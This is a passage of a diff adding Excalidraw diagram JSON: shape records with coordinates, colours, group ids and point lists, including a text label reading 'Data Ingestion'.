54.14335937903257, + "seed": 992241352, + "groupIds": [ + "fTZFpdibuJFMQd3L3P6OO", + "KfaPnOjFIAktMY5J4xdFU", + "CUmbpkYpRWlpAGEOLItt_", + "UdjQhnTyQIepL3O_buKxr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453358, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 3.64549649752048, + -5.942137162812167 + ], + [ + 1.5244997711980373, + -10.979504387826738 + ], + [ + 8.152614540954444, + -15.751747022050605 + ], + [ + 12.183988932623967, + -12.871883111137402 + ], + [ + 18.626886641742196, + -14.800259718524178 + ], + [ + 20.373747717639137, + -20.102751534329055 + ], + [ + 27.248467781792495, + -19.337622296756162 + ], + [ + 28.047543083311346, + -14.623078017794809 + ], + [ + 34.28033043515867, + -10.867424100656152 + ], + [ + 40.03367260609403, + -12.785204824301541 + ], + [ + 44.188864173992535, + -7.67112289458076 + ], + [ + 41.23228555837312, + -3.0364861457715397 + ], + [ + 43.22997381217024, + 3.835561447290785 + ], + [ + 48.26414821173847, + 6.312694881999047 + ], + [ + 47.3851653800679, + 13.26465000521309 + ], + [ + 42.35099098049886, + 14.223540367035787 + ], + [ + 38.5953370633606, + 20.93577289979426 + ], + [ + 40.67293284730943, + 25.410594588299638 + ], + [ + 35.47894338743694, + 29.885416276805415 + ], + [ + 31.243844289386733, + 27.00874519133733 + ], + [ + 24.132074105868835, + 28.76671085467887 + ], + [ + 21.65494067116057, + 34.04060784470351 + ], + [ + 14.543170487642678, + 32.92190242257695 + ], + [ + 13.66418765597211, + 27.488190372248877 + ], + [ + 7.35149277397306, + 24.93114940738849 + ], + [ + 2.71685602516424, + 26.449392480274057 + ], + [ + -1.4383355427342497, + 21.654940671160976 + ], + [ + 0.8789828316705665, + 16.70067380174405 + ], + [ + -1.038797891974828, + 10.068348799137706 + ], + [ + -6.3926024121507705, + 7.191677713670022 + ], + [ + -5.273896990025038, + 1.1986129522782665 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "ellipse", + "version": 1824, + "versionNonce": 140045536, + "index": "c1t9G", + "isDeleted": false, + "id": "Wf5uWOivFm_NEWGWI5CVz", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "x": 3693.9088243918736, + "y": -997.8011842193296, + "strokeColor": "transparent", + "backgroundColor": "#c9d5e1", + "width": 29.745086099232694, + "height": 29.745086099232694, + "seed": 1719422408, + "groupIds": [ + "fTZFpdibuJFMQd3L3P6OO", + "KfaPnOjFIAktMY5J4xdFU", + "CUmbpkYpRWlpAGEOLItt_", + "UdjQhnTyQIepL3O_buKxr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453358, + "link": null, + "locked": false + }, + { + "type": "line", + "version": 2057, + "versionNonce": 1818775776, + "index": "c1t9I", + "isDeleted": false, + "id": "ooFkhlfZlMSdGU_0YbrBk", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 3707.4081730461294, + "y": -928.3545900131471, + "strokeColor": "#495057", + "backgroundColor": "#ced4da", + "width": 133.23925570278402, + "height": 55.80373532963599, + "seed": 1279218888, + "groupIds": [ + "KfaPnOjFIAktMY5J4xdFU", + "CUmbpkYpRWlpAGEOLItt_", + "UdjQhnTyQIepL3O_buKxr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453358, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 19.934604455526905, + 8.691038539467295 + ], + [ + 20.356918670391444, + 16.54538182899243 + ], + [ + 16.17255488274228, + 23.73923683060483 + ], + [ + -6.086238422898325, + 18.72317073355837 + ], + [ + -5.772734291833095, + 27.814790534454676 + ], + [ + 7.70794334397736, + 38.1604268596119 + ], + [ + 26.518191207900447, + 35.33888968002392 + ], + [ + 34.04229035346968, + 27.501286403389454 + ], + [ + 122.76395944497251, + 46.93854252944205 + ], + [ + 127.15301727988569, + 34.398377286827284 + ], + [ + 36.23681927092628, + 14.961121160774677 + ], + [ + 32.16126556707644, + 0.5399311317676027 + ], + [ + 13.35101770315522, + -8.86519280019394 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "text", + "version": 1775, + "versionNonce": 1626027232, + "index": "c1t9K", + "isDeleted": false, + "id": "YwvmX94a", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 3670.7329894449963, + "y": -860.9787854836281, + "strokeColor": "#000000", + "backgroundColor": "transparent", + "width": 108.01629767206386, + "height": 61.28484028611045, + "seed": 839482312, + "groupIds": [ + "CUmbpkYpRWlpAGEOLItt_", + "UdjQhnTyQIepL3O_buKxr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453358, + "link": null, + "locked": false, + "fontSize": 24.513936114444178, + "fontFamily": 1, + "text": "Data\nIngestion", + "rawText": "Data\nIngestion", + "textAlign": "center", + "verticalAlign": "top", + "containerId": null, + "originalText": "Data\nIngestion", + "autoResize": true, + "lineHeight": 1.2500000000000004 + }, + { + "type": "rectangle", + "version": 1598, + "versionNonce": 191994080, + "index": "c1t9O", + "isDeleted": false, + "id": "rpEvrutyKGT8cD4QmfRvC", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "dashed", + "roughness": 0, + "opacity": 100, + "angle": 0, + "x": 3469.4138911523187, + "y": -1613.049682760021, + "strokeColor": "#e03131", + "backgroundColor": "transparent", + "width": 1563.3108480603235, + "height": 1342.7559724523758, + "seed": 1855945928, + "groupIds": [ + "UdjQhnTyQIepL3O_buKxr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453358, + "link": null, + "locked": false + }, + { + "type": "rectangle", + "version": 1130, + "versionNonce": 1602976992, + "index": "c1t9S", + "isDeleted": false, + "id": "j5n4aYSGbAWSXbQ8zCyn6", + "fillStyle": "cross-hatch", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 4148.968066509247, + "y": -1611.2940195939564, + "strokeColor": "#e03131", + "backgroundColor": "#ffc9c9", + "width": 876.2661102310601, + "height": 155.14807634590488, + "seed": 1713677256, + "groupIds": [ + "TFAABe_lxlgbz3WBqGl7x", + "UdjQhnTyQIepL3O_buKxr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453358, + "link": null, + "locked": false + }, + { + "type": "line", + "version": 3511, + "versionNonce": 1590223072, + "index": "c1t9V", + "isDeleted": false, + "id": "MaUQ-9yW2OZHRYRIIIGlo", + "fillStyle": "cross-hatch", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 0, + "x": 4196.908173771415, + "y": -1587.1324745217635, + "strokeColor": "#e03131", + "backgroundColor": "#ffc9c9", + "width": 137.25462749862166, + "height": 133.16745907115097, + "seed": 544008904, + "groupIds": [ + "s8LhxYS-FddXJLBO0avQl", + "TFAABe_lxlgbz3WBqGl7x", + "UdjQhnTyQIepL3O_buKxr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453358, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -19.858832295391053, + 9.357060858608907 + ], + [ + -20.82335571705872, + 9.934367540497373 + ], + [ + -21.58483177670788, + 10.500035470522374 + ], + [ + -22.215769083274317, + 11.065703400547589 + ], + [ + -22.933732225229196, + 11.827179460196618 + ], + [ + -23.629938908336964, + 12.740950731775676 + ], + [ + -24.1303374618207, + 13.719991379895877 + ], + [ + -24.413171426833227, + 14.633762651474955 + ], + [ + -24.61906785092235, + 15.666240708546752 + ], + [ + -31.404699872680503, + 44.470555534225085 + ], + [ + -36.139875597311864, + 65.66503613648766 + ], + [ + -36.461013089595156, + 66.77644283259525 + ], + [ + -36.58832208992515, + 67.96466016900914 + ], + [ + -36.60954025664686, + 69.04678667181453 + ], + [ + -36.4988155370519, + 70.07189243313978 + ], + [ + -36.31248592254336, + 70.9617869223158 + ], + [ + -36.10509788423565, + 71.57574350360086 + ], + [ + -35.786348570192786, + 72.43537665889333 + ], + [ + -35.21648200853325, + 73.40077905596239 + ], + [ + -34.621367557948304, + 74.22233508077001 + ], + [ + -0.78345815250443, + 116.16474339119846 + ], + [ + -0.20459458385334983, + 116.70666797036043 + ], + [ + 0.5239201805040423, + 117.1923444799319 + ], + [ + 1.2726714660936267, + 117.67802098950364 + ], + [ + 2.041659272915325, + 118.04227837168219 + ], + [ + 2.851120122201344, + 118.32558966893248 + ], + [ + 3.741527056415997, + 118.52795488125383 + ], + [ + 4.692643554327056, + 118.6291374874146 + ], + [ + 5.578149305225253, + 118.66101475582445 + ], + [ + 59.02572434056597, + 118.64620612910471 + ], + [ + 60.048366234598966, + 118.52927263981837 + ], + [ + 61.03157027014318, + 118.30503312293976 + ], + [ + 62.03202349929343, + 118.04629521884928 + ], + [ + 62.894483179595284, + 117.56331779788017 + ], + [ + 63.756942859897336, + 116.99409440888077 + ], + [ + 64.60215334659313, + 116.33862505185147 + ], + [ + 65.2403735100166, + 115.66590650121607 + ], + [ + 65.83999394245127, + 114.9090601677334 + ], + [ + 99.3790812020678, + 73.19247433315671 + ], + [ + 99.8543364565285, + 72.33630865605096 + ], + [ + 100.1799397211241, + 71.49904311851941 + ], + [ + 100.389256105507, + 70.59200545286052 + ], + [ + 100.5753151138473, + 69.73148253928643 + ], + [ + 100.6450872419748, + 68.80118749758489 + ], + [ + 100.62182986593237, + 67.75460557567058 + ], + [ + 100.43577085759202, + 66.73128102979874 + ], + [ + 100.19066738385901, + 65.70232223946365 + ], + [ + 88.58032377422029, + 15.362319719741208 + ], + [ + 88.26863729766231, + 14.200846455948138 + ], + [ + 87.99822517284011, + 13.48685418895358 + ], + [ + 87.73509750100723, + 12.90304239344048 + ], + [ + 87.28339192131813, + 12.177574700955844 + ], + [ + 86.32921775971904, + 11.053061656579906 + ], + [ + 85.34808850349916, + 10.259864950571732 + ], + [ + 84.05653946052819, + 9.397861374824046 + ], + [ + 54.77277642773265, + -4.314769732447161 + ], + [ + 46.16428526619778, + -8.621429033990118 + ], + [ + 37.01495567873984, + -12.979327158328518 + ], + [ + 35.849966939695456, + -13.600651334868633 + ], + [ + 34.84625039378267, + -14.065788270779578 + ], + [ + 34.03838097877973, + -14.286116293053139 + ], + [ + 33.03466443286698, + -14.43300164123561 + ], + [ + 31.761658081953254, + -14.506444315326517 + ], + [ + 30.439689948312058, + -14.335078075780519 + ], + [ + 29.044279140579675, + -13.967864705324676 + ], + [ + 27.844715463757133, + -13.40480420395882 + ], + [ + 26.58024271160624, + -12.802637168235126 + ], + [ + 18.66731401225605, + -9.042037390326108 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "ellipse", + "version": 1594, + "versionNonce": 1488569568, + "index": "c1t9X", + "isDeleted": false, + "id": "tusyjkl5pCHBam-bKM2WW", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 0, + "x": 4192.308344553998, + "y": -1569.69358229922, + "strokeColor": "#e03131", + "backgroundColor": "#ffc9c9", + "width": 74.34183425623006, + "height": 74.15515653402763, + "seed": 403984840, + "groupIds": [ + "s8LhxYS-FddXJLBO0avQl", + "TFAABe_lxlgbz3WBqGl7x", + "UdjQhnTyQIepL3O_buKxr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453358, + "link": null, + "locked": false + }, + { + "type": "line", + "version": 2849, + "versionNonce": 720251104, + "index": "c1t9Z", + "isDeleted": false, + "id": "Zhz34Y6YWTHTnczmpbjZH", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 0, + "x": 4226.19360855557, + "y": -1569.4550492840299, + "strokeColor": "#e03131", + "backgroundColor": "#ffc9c9", + "width": 6.3788756196412235, + "height": 15.052704806665954, + "seed": 339138760, + "groupIds": [ + "s8LhxYS-FddXJLBO0avQl", + "TFAABe_lxlgbz3WBqGl7x", + "UdjQhnTyQIepL3O_buKxr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453358, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 0.1319200453525514, + -1.3567582753239884 + ], + [ + 0.40317332609588147, + -1.6900338069988166 + ], + [ + 0.6198323050239201, + -2.0566874636461985 + ], + [ + 0.8031591333476371, + -2.4233411202935806 + ], + [ + 0.9531538110670326, + -2.8733251534518454 + ], + [ + 1.01981811227565, + -3.3399752619122447 + ], + [ + 1.0625590378299277, + -3.7969673349736746 + ], + [ + 0.7698269827433162, + -7.973144195911549 + ], + [ + 0.6796992987072743, + -8.459208619909072 + ], + [ + 0.5698340791174369, + -8.956442638738753 + ], + [ + 0.4865037026066605, + -9.456424897803421 + ], + [ + 0.40317332609588225, + -9.973073232170222 + ], + [ + 0.3365090248872625, + -10.539719792443432 + ], + [ + 0.3365090248872633, + -10.989703825601694 + ], + [ + 0.3365090248872625, + -11.456353934062093 + ], + [ + 0.3855884572326688, + -11.953946452745052 + ], + [ + 0.4365054767002274, + -12.556314904004449 + ], + [ + 0.6531644556282425, + -13.106295388975523 + ], + [ + 0.986485961671352, + -13.539613346831649 + ], + [ + 1.3844561976693959, + -13.989944033949294 + ], + [ + 1.736459350268384, + -14.306252810730687 + ], + [ + 2.1697773081244343, + -14.506245714356508 + ], + [ + 2.58642919067832, + -14.672906467378066 + ], + [ + 2.9864149979300567, + -14.722904693284681 + ], + [ + 3.419732955786105, + -14.739570768586814 + ], + [ + 3.8363848383399968, + -14.68957254268041 + ], + [ + 4.269719340751213, + -14.57622967334042 + ], + [ + 4.586358226937001, + -14.406249262543701 + ], + [ + 4.91967973298011, + -14.172924208313404 + ], + [ + 5.153004787210311, + -13.939599154083304 + ], + [ + 5.419661992044782, + -13.6562758739466 + ], + [ + 5.636320970972819, + -13.356286518507961 + ], + [ + 5.783826858490086, + -13.000543693805266 + ], + [ + 5.969642477015928, + -12.62297920521299 + ], + [ + 6.08630500413103, + -12.256325548565606 + ], + [ + 6.13630323003749, + -11.873005816616091 + ], + [ + 6.163625197777948, + -11.155227505620381 + ], + [ + 6.169635380641811, + -10.739712696069466 + ], + [ + 6.102971079433167, + -10.189732211098184 + ], + [ + 6.036306778224549, + -9.739748177940129 + ], + [ + 5.91964425110945, + -9.18976769296885 + ], + [ + 5.86964602520297, + -8.723117584508657 + ], + [ + 5.769649573390031, + -8.27313355135039 + ], + [ + 5.6634870490272, + -7.374066077730169 + ], + [ + 5.436656391274203, + -3.52608445894531 + ], + [ + 5.4696602179512395, + -2.956655529962518 + ], + [ + 5.561377761617212, + -2.3532014007916944 + ], + [ + 5.869646025202968, + -1.856694560020371 + ], + [ + 6.335371790211968, + -1.4270998588804666 + ], + [ + 6.3788756196412235, + 0.3131340380791393 + ], + [ + 0.7448875491845107, + 0.28559200541991153 + ] + ] + }, + { + "type": "line", + "version": 2902, + "versionNonce": 16125152, + "index": "c1t9d", + "isDeleted": false, + "id": "erCWLX5aTBbMsG9fDo8c2", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 0.8686267165409003, + "x": 4260.728286322808, + "y": -1553.0877017690827, + "strokeColor": "#e03131", + "backgroundColor": "#ffc9c9", + "width": 6.3788756196412235, + "height": 15.052704806665954, + "seed": 410025928, + "groupIds": [ + "s8LhxYS-FddXJLBO0avQl", + "TFAABe_lxlgbz3WBqGl7x", + "UdjQhnTyQIepL3O_buKxr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453358, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 0.1319200453525514, + -1.3567582753239884 + ], + [ + 0.40317332609588147, + -1.6900338069988166 + ], + [ + 0.6198323050239201, + -2.0566874636461985 + ], + [ + 0.8031591333476371, + -2.4233411202935806 + ], + [ + 0.9531538110670326, + -2.8733251534518454 + ], + [ + 1.01981811227565, + -3.3399752619122447 + ], + [ + 1.0625590378299277, + -3.7969673349736746 + ], + [ + 0.7698269827433162, + -7.973144195911549 + ], + [ + 0.6796992987072743, + -8.459208619909072 + ], + [ + 0.5698340791174369, + -8.956442638738753 + ], + [ + 0.4865037026066605, + -9.456424897803421 + ], + [ + 0.40317332609588225, + -9.973073232170222 + ], + [ + 0.3365090248872625, + -10.539719792443432 + ], + [ + 0.3365090248872633, + -10.989703825601694 + ], + [ + 0.3365090248872625, + -11.456353934062093 + ], + [ + 0.3855884572326688, + -11.953946452745052 + ], + [ + 0.4365054767002274, + -12.556314904004449 + ], + [ + 0.6531644556282425, + -13.106295388975523 + ], + [ + 0.986485961671352, + -13.539613346831649 + ], + [ + 1.3844561976693959, + -13.989944033949294 + ], + [ + 1.736459350268384, + -14.306252810730687 + ], + [ + 2.1697773081244343, + -14.506245714356508 + ], + [ + 2.58642919067832, + -14.672906467378066 + ], + [ + 2.9864149979300567, + -14.722904693284681 + ], + [ + 3.419732955786105, + -14.739570768586814 + ], + [ + 3.8363848383399968, + -14.68957254268041 + ], + [ + 4.269719340751213, + -14.57622967334042 + ], + [ + 4.586358226937001, + -14.406249262543701 + ], + [ + 4.91967973298011, + -14.172924208313404 + ], + [ + 5.153004787210311, + -13.939599154083304 + ], + [ + 5.419661992044782, + -13.6562758739466 + ], + [ + 5.636320970972819, + -13.356286518507961 + ], + [ + 5.783826858490086, + -13.000543693805266 + ], + [ + 5.969642477015928, + -12.62297920521299 + ], + [ + 6.08630500413103, + -12.256325548565606 + ], + [ + 6.13630323003749, + -11.873005816616091 + ], + [ + 6.163625197777948, + -11.155227505620381 + ], + [ + 6.169635380641811, + -10.739712696069466 + ], + [ + 6.102971079433167, + -10.189732211098184 + ], + [ + 6.036306778224549, + -9.739748177940129 + ], + [ + 5.91964425110945, + -9.18976769296885 + ], + [ + 5.86964602520297, + -8.723117584508657 + ], + [ + 5.769649573390031, + -8.27313355135039 + ], + [ + 5.6634870490272, + -7.374066077730169 + ], + [ + 5.436656391274203, + -3.52608445894531 + ], + [ + 5.4696602179512395, + -2.956655529962518 + ], + [ + 5.561377761617212, + -2.3532014007916944 + ], + [ + 5.869646025202968, + -1.856694560020371 + ], + [ + 6.335371790211968, + -1.4270998588804666 + ], + [ + 6.3788756196412235, + 0.3131340380791393 + ], + [ + 0.7448875491845107, + 0.28559200541991153 + ] + ] + }, + { + "type": "line", + "version": 2923, + "versionNonce": 341930208, + "index": "c1t9h", + "isDeleted": false, + "id": "_sQUIWS0K8aLN8KrtX_dh", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 1.7778883656625375, + "x": 4269.096304178102, + "y": -1515.704678493374, + "strokeColor": "#e03131", + "backgroundColor": "#ffc9c9", + "width": 6.3788756196412235, + "height": 15.052704806665954, + "seed": 1423787720, + "groupIds": [ + "s8LhxYS-FddXJLBO0avQl", + "TFAABe_lxlgbz3WBqGl7x", + "UdjQhnTyQIepL3O_buKxr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453358, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 0.1319200453525514, + -1.3567582753239884 + ], + [ + 0.40317332609588147, + -1.6900338069988166 + ], + [ + 0.6198323050239201, + -2.0566874636461985 + ], + [ + 0.8031591333476371, + -2.4233411202935806 + ], + [ + 0.9531538110670326, + -2.8733251534518454 + ], + [ + 1.01981811227565, + -3.3399752619122447 + ], + [ + 1.0625590378299277, + -3.7969673349736746 + ], + [ + 0.7698269827433162, + -7.973144195911549 + ], + [ + 0.6796992987072743, + -8.459208619909072 + ], + [ + 0.5698340791174369, + -8.956442638738753 + ], + [ + 0.4865037026066605, + -9.456424897803421 + ], + [ + 0.40317332609588225, + -9.973073232170222 + ], + [ + 0.3365090248872625, + -10.539719792443432 + ], + [ + 0.3365090248872633, + -10.989703825601694 + ], + [ + 0.3365090248872625, + -11.456353934062093 + ], + [ + 0.3855884572326688, + -11.953946452745052 + ], + [ + 0.4365054767002274, + -12.556314904004449 + ], + [ + 0.6531644556282425, + -13.106295388975523 + ], + [ + 0.986485961671352, + -13.539613346831649 + ], + [ + 1.3844561976693959, + -13.989944033949294 + ], + [ + 1.736459350268384, + -14.306252810730687 + ], + [ + 2.1697773081244343, + -14.506245714356508 + ], + [ + 2.58642919067832, + -14.672906467378066 + ], + [ + 2.9864149979300567, + -14.722904693284681 + ], + [ + 3.419732955786105, + -14.739570768586814 + ], + [ + 3.8363848383399968, + -14.68957254268041 + ], + [ + 4.269719340751213, + -14.57622967334042 + ], + [ + 4.586358226937001, + -14.406249262543701 + ], + [ + 4.91967973298011, + -14.172924208313404 + ], + [ + 5.153004787210311, + -13.939599154083304 + ], + [ + 5.419661992044782, + -13.6562758739466 + ], + [ + 5.636320970972819, + -13.356286518507961 + ], + [ + 5.783826858490086, + -13.000543693805266 + ], + [ + 5.969642477015928, + -12.62297920521299 + ], + [ + 6.08630500413103, + -12.256325548565606 + ], + [ + 6.13630323003749, + -11.873005816616091 + ], + [ + 6.163625197777948, + -11.155227505620381 + ], + [ + 6.169635380641811, + -10.739712696069466 + ], + [ + 6.102971079433167, + -10.189732211098184 + ], + [ + 6.036306778224549, + -9.739748177940129 + ], + [ + 5.91964425110945, + -9.18976769296885 + ], + [ + 5.86964602520297, + -8.723117584508657 + ], + [ + 5.769649573390031, + -8.27313355135039 + ], + [ + 5.6634870490272, + -7.374066077730169 + ], + [ + 5.436656391274203, + -3.52608445894531 + ], + [ + 5.4696602179512395, + -2.956655529962518 + ], + [ + 5.561377761617212, + -2.3532014007916944 + ], + [ + 5.869646025202968, + -1.856694560020371 + ], + [ + 6.335371790211968, + -1.4270998588804666 + ], + [ + 6.3788756196412235, + 0.3131340380791393 + ], + [ + 0.7448875491845107, + 0.28559200541991153 + ] + ] + }, + { + "type": "line", + "version": 2969, + "versionNonce": 1824543968, + "index": "c1t9l", + "isDeleted": false, + "id": "c2d40LRysMaUl33i9NPEz", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 2.6970035598078645, + "x": 4245.395419727456, + "y": -1485.6981467662317, + "strokeColor": "#e03131", + "backgroundColor": "#ffc9c9", + "width": 6.3788756196412235, + "height": 15.052704806665954, + "seed": 370748872, + "groupIds": [ + "s8LhxYS-FddXJLBO0avQl", + "TFAABe_lxlgbz3WBqGl7x", + "UdjQhnTyQIepL3O_buKxr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453358, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 0.1319200453525514, + -1.3567582753239884 + ], + [ + 0.40317332609588147, + -1.6900338069988166 + ], + [ + 0.6198323050239201, + -2.0566874636461985 + ], + [ + 0.8031591333476371, + -2.4233411202935806 + ], + [ + 0.9531538110670326, + -2.8733251534518454 + ], + [ + 1.01981811227565, + -3.3399752619122447 + ], + [ + 1.0625590378299277, + -3.7969673349736746 + ], + [ + 0.7698269827433162, + -7.973144195911549 + ], + [ + 0.6796992987072743, + -8.459208619909072 + ], + [ + 0.5698340791174369, + -8.956442638738753 + ], + [ + 0.4865037026066605, + -9.456424897803421 + ], + [ + 0.40317332609588225, + -9.973073232170222 + ], + [ + 0.3365090248872625, + -10.539719792443432 + ], + [ + 0.3365090248872633, + -10.989703825601694 + ], + [ + 0.3365090248872625, + -11.456353934062093 + ], + [ + 0.3855884572326688, + -11.953946452745052 + ], + [ + 0.4365054767002274, + -12.556314904004449 + ], + [ + 0.6531644556282425, + -13.106295388975523 + ], + [ + 0.986485961671352, + -13.539613346831649 + ], + [ + 1.3844561976693959, + -13.989944033949294 + ], + [ + 1.736459350268384, + -14.306252810730687 + ], + [ + 2.1697773081244343, + -14.506245714356508 + ], + [ + 2.58642919067832, + -14.672906467378066 + ], + [ + 2.9864149979300567, + -14.722904693284681 + ], + [ + 3.419732955786105, + -14.739570768586814 + ], + [ + 3.8363848383399968, + -14.68957254268041 + ], + [ + 4.269719340751213, + -14.57622967334042 + ], + [ + 4.586358226937001, + -14.406249262543701 + ], + [ + 4.91967973298011, + -14.172924208313404 + ], + [ + 5.153004787210311, + -13.939599154083304 + ], + [ + 5.419661992044782, + -13.6562758739466 + ], + [ + 5.636320970972819, + -13.356286518507961 + ], + [ + 5.783826858490086, + -13.000543693805266 + ], + [ + 5.969642477015928, + -12.62297920521299 + ], + [ + 6.08630500413103, + -12.256325548565606 + ], + [ + 6.13630323003749, + -11.873005816616091 + ], + [ + 6.163625197777948, + -11.155227505620381 + ], + [ + 6.169635380641811, + -10.739712696069466 + ], + [ + 6.102971079433167, + -10.189732211098184 + ], + [ + 6.036306778224549, + -9.739748177940129 + ], + [ + 5.91964425110945, + -9.18976769296885 + ], + [ + 5.86964602520297, + -8.723117584508657 + ], + [ + 5.769649573390031, + -8.27313355135039 + ], + [ + 5.6634870490272, + -7.374066077730169 + ], + [ + 5.436656391274203, + -3.52608445894531 + ], + [ + 5.4696602179512395, + -2.956655529962518 + ], + [ + 5.561377761617212, + -2.3532014007916944 + ], + [ + 5.869646025202968, + -1.856694560020371 + ], + [ + 6.335371790211968, + -1.4270998588804666 + ], + [ + 6.3788756196412235, + 0.3131340380791393 + ], + [ + 0.7448875491845107, + 0.28559200541991153 + ] + ] + }, + { + "type": "line", + "version": 2947, + "versionNonce": 530757856, + "index": "c1t9n", + "isDeleted": false, + "id": "0y36OutlfMHMxjyrxNhvQ", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 3.583969694432408, + "x": 4207.278695352277, + "y": -1485.5940341324776, + "strokeColor": "#e03131", + "backgroundColor": "#ffc9c9", + "width": 6.3788756196412235, + "height": 15.052704806665954, + "seed": 893400264, + "groupIds": [ + "s8LhxYS-FddXJLBO0avQl", + "TFAABe_lxlgbz3WBqGl7x", + "UdjQhnTyQIepL3O_buKxr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453358, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 0.1319200453525514, + -1.3567582753239884 + ], + [ + 0.40317332609588147, + -1.6900338069988166 + ], + [ + 0.6198323050239201, + -2.0566874636461985 + ], + [ + 0.8031591333476371, + -2.4233411202935806 + ], + [ + 0.9531538110670326, + -2.8733251534518454 + ], + [ + 1.01981811227565, + -3.3399752619122447 + ], + [ + 1.0625590378299277, + -3.7969673349736746 + ], + [ + 0.7698269827433162, + -7.973144195911549 + ], + [ + 0.6796992987072743, + -8.459208619909072 + ], + [ + 0.5698340791174369, + -8.956442638738753 + ], + [ + 0.4865037026066605, + -9.456424897803421 + ], + [ + 0.40317332609588225, + -9.973073232170222 + ], + [ + 0.3365090248872625, + -10.539719792443432 + ], + [ + 0.3365090248872633, + -10.989703825601694 + ], + [ + 0.3365090248872625, + -11.456353934062093 + ], + [ + 0.3855884572326688, + -11.953946452745052 + ], + [ + 0.4365054767002274, + -12.556314904004449 + ], + [ + 0.6531644556282425, + -13.106295388975523 + ], + [ + 0.986485961671352, + -13.539613346831649 + ], + [ + 1.3844561976693959, + -13.989944033949294 + ], + [ + 1.736459350268384, + -14.306252810730687 + ], + [ + 2.1697773081244343, + -14.506245714356508 + ], + [ + 2.58642919067832, + -14.672906467378066 + ], + [ + 2.9864149979300567, + -14.722904693284681 + ], + [ + 3.419732955786105, + -14.739570768586814 + ], + [ + 3.8363848383399968, + -14.68957254268041 + ], + [ + 4.269719340751213, + -14.57622967334042 + ], + [ + 4.586358226937001, + -14.406249262543701 + ], + [ + 4.91967973298011, + -14.172924208313404 + ], + [ + 5.153004787210311, + -13.939599154083304 + ], + [ + 5.419661992044782, + -13.6562758739466 + ], + [ + 5.636320970972819, + -13.356286518507961 + ], + [ + 5.783826858490086, + -13.000543693805266 + ], + [ + 5.969642477015928, + -12.62297920521299 + ], + [ + 6.08630500413103, + -12.256325548565606 + ], + [ + 6.13630323003749, + -11.873005816616091 + ], + [ + 6.163625197777948, + -11.155227505620381 + ], + [ + 6.169635380641811, + -10.739712696069466 + ], + [ + 6.102971079433167, + -10.189732211098184 + ], + [ + 6.036306778224549, + -9.739748177940129 + ], + [ + 5.91964425110945, + -9.18976769296885 + ], + [ + 5.86964602520297, + -8.723117584508657 + ], + [ + 5.769649573390031, + -8.27313355135039 + ], + [ + 5.6634870490272, + -7.374066077730169 + ], + [ + 5.436656391274203, + -3.52608445894531 + ], + [ + 5.4696602179512395, + -2.956655529962518 + ], + [ + 5.561377761617212, + -2.3532014007916944 + ], + [ + 5.869646025202968, + -1.856694560020371 + ], + [ + 